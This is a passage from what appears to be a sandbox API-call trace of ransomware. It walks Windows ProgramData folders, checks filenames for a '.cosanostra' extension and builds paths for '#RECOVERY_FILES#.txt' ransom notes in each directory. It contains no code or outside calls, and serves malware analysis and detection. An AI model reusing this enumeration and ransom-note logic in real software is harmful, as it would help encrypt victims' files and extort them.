pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned 80 [0081.415] StrStrIW (lpFirst="urgent.cov", lpSrch=".cosanostra") returned 0x0 [0081.415] lstrcmpW (lpString1="urgent.cov", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.415] lstrcmpW (lpString1="urgent.cov", lpString2="_uninstalling_.png") returned 1 [0081.415] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned 80 [0081.415] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0081.415] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0081.415] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\#RECOVERY_FILES#.txt") returned 90 [0081.415] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\#RECOVERY_FILES#.txt") returned 90 [0081.415] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.415] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.415] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\#RECOVERY_FILES#.txt") returned 84 [0081.415] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\#RECOVERY_FILES#.txt") returned 84 [0081.416] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.416] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 51 [0081.416] lstrcmpW (lpString1="Inbox", lpString2=".") returned 1 [0081.416] lstrcmpW (lpString1="Inbox", lpString2="..") returned 1 [0081.417] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*") returned 53 [0081.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.417] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\.") returned 53 [0081.417] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.417] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.418] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\..") returned 54 [0081.418] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.418] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.418] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.418] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.418] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\#RECOVERY_FILES#.txt") returned 72 [0081.418] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\#RECOVERY_FILES#.txt") returned 72 [0081.418] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.418] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned 51 [0081.418] lstrcmpW (lpString1="Queue", lpString2=".") returned 1 [0081.418] lstrcmpW (lpString1="Queue", lpString2="..") returned 1 [0081.419] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*") returned 53 [0081.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.419] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\.") returned 53 [0081.419] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.419] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.420] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\..") returned 54 [0081.420] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.420] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.420] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.420] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.420] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\#RECOVERY_FILES#.txt") returned 72 [0081.420] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\#RECOVERY_FILES#.txt") returned 72 [0081.421] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.421] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 55 [0081.421] lstrcmpW (lpString1="SentItems", lpString2=".") returned 1 [0081.421] lstrcmpW (lpString1="SentItems", lpString2="..") returned 1 [0081.421] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*") returned 57 [0081.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.452] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\.") returned 57 [0081.452] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.452] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.452] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\..") returned 58 [0081.452] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.452] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.452] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.452] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.452] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\#RECOVERY_FILES#.txt") returned 76 [0081.452] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\#RECOVERY_FILES#.txt") returned 76 [0081.453] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.453] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned 58 [0081.453] lstrcmpW (lpString1="VirtualInbox", lpString2=".") returned 1 [0081.453] lstrcmpW (lpString1="VirtualInbox", lpString2="..") returned 1 [0081.454] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned 60 [0081.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.454] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\.") returned 60 [0081.454] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.454] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.454] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\..") returned 61 [0081.454] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.454] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.455] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.455] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned 64 [0081.455] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0081.455] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0081.455] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned 66 [0081.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.462] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\.") returned 66 [0081.462] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.462] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.462] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\..") returned 67 [0081.462] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.462] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.462] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.462] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned 79 [0081.462] StrStrIW (lpFirst="WelcomeFax.tif", lpSrch=".cosanostra") returned 0x0 [0081.462] lstrcmpW (lpString1="WelcomeFax.tif", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.462] lstrcmpW (lpString1="WelcomeFax.tif", lpString2="_uninstalling_.png") returned 1 [0081.462] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned 79 [0081.462] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0081.465] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0081.470] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\#RECOVERY_FILES#.txt") returned 85 [0081.470] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\#RECOVERY_FILES#.txt") returned 85 [0081.470] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.470] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.472] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\#RECOVERY_FILES#.txt") returned 79 [0081.472] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\#RECOVERY_FILES#.txt") returned 79 [0081.472] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.472] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.472] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\#RECOVERY_FILES#.txt") returned 66 [0081.472] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\#RECOVERY_FILES#.txt") returned 66 [0081.472] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.472] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned 46 [0081.472] lstrcmpW (lpString1="MSScan", lpString2=".") returned 1 [0081.472] lstrcmpW (lpString1="MSScan", lpString2="..") returned 1 [0081.472] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*") returned 48 [0081.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.473] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\.") returned 48 [0081.473] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.473] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.473] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\..") returned 49 [0081.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.473] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.473] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned 62 [0081.473] StrStrIW (lpFirst="WelcomeScan.jpg", lpSrch=".cosanostra") returned 0x0 [0081.473] lstrcmpW (lpString1="WelcomeScan.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.473] lstrcmpW (lpString1="WelcomeScan.jpg", lpString2="_uninstalling_.png") returned 1 [0081.473] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned 62 [0081.473] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.473] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.473] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\#RECOVERY_FILES#.txt") returned 67 [0081.473] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\#RECOVERY_FILES#.txt") returned 67 [0081.474] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.474] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.474] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\#RECOVERY_FILES#.txt") returned 60 [0081.474] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\#RECOVERY_FILES#.txt") returned 60 [0081.474] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.474] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc") returned 36 [0081.474] lstrcmpW (lpString1="WwanSvc", lpString2=".") returned 1 [0081.474] lstrcmpW (lpString1="WwanSvc", lpString2="..") returned 1 [0081.475] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\*") returned 38 [0081.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.475] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\.") returned 38 [0081.475] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.475] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0081.475] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.475] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0081.475] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\.") returned 38 [0081.475] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.475] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\..") returned 39 [0081.475] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.475] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.475] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0081.475] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.475] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0081.475] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\..") returned 39 [0081.475] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.475] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned 45 [0081.475] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0081.475] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0081.476] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*") returned 47 [0081.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.476] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\.") returned 47 [0081.476] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.476] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0081.476] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.476] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0081.476] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\.") returned 47 [0081.476] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.476] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\..") returned 48 [0081.476] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.476] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.476] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0081.476] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.476] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0081.476] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\..") returned 48 [0081.476] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.476] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.477] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\#RECOVERY_FILES#.txt") returned 66 [0081.477] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\#RECOVERY_FILES#.txt") returned 66 [0081.477] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.477] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.477] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\#RECOVERY_FILES#.txt") returned 57 [0081.477] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\#RECOVERY_FILES#.txt") returned 57 [0081.478] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0081.478] FindClose (in: hFindFile=0x25a7b0 | out: hFindFile=0x25a7b0) returned 1 [0081.478] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\#RECOVERY_FILES#.txt") returned 49 [0081.478] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\#RECOVERY_FILES#.txt") returned 49 [0081.478] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0081.478] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help") returned 33 [0081.479] lstrcmpW (lpString1="Microsoft Help", lpString2=".") returned 1 [0081.479] lstrcmpW (lpString1="Microsoft Help", lpString2="..") returned 1 [0081.480] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\*") returned 35 [0081.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0081.743] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\.") returned 35 [0081.743] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.743] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.840] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\..") returned 36 [0081.840] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.840] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.840] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.840] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned 40 [0081.840] StrStrIW (lpFirst="Hx.hxn", lpSrch=".cosanostra") returned 0x0 [0081.840] lstrcmpW (lpString1="Hx.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.840] lstrcmpW (lpString1="Hx.hxn", lpString2="_uninstalling_.png") returned 1 [0081.840] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned 40 [0081.840] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned 54 [0081.840] StrStrIW (lpFirst="MS.EXCEL.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.840] lstrcmpW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.840] lstrcmpW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.840] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned 54 [0081.840] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned 58 [0081.840] StrStrIW (lpFirst="MS.EXCEL.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.840] lstrcmpW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned 58 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned 54 [0081.841] StrStrIW (lpFirst="MS.GRAPH.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned 54 [0081.841] wnsprintfW (in: 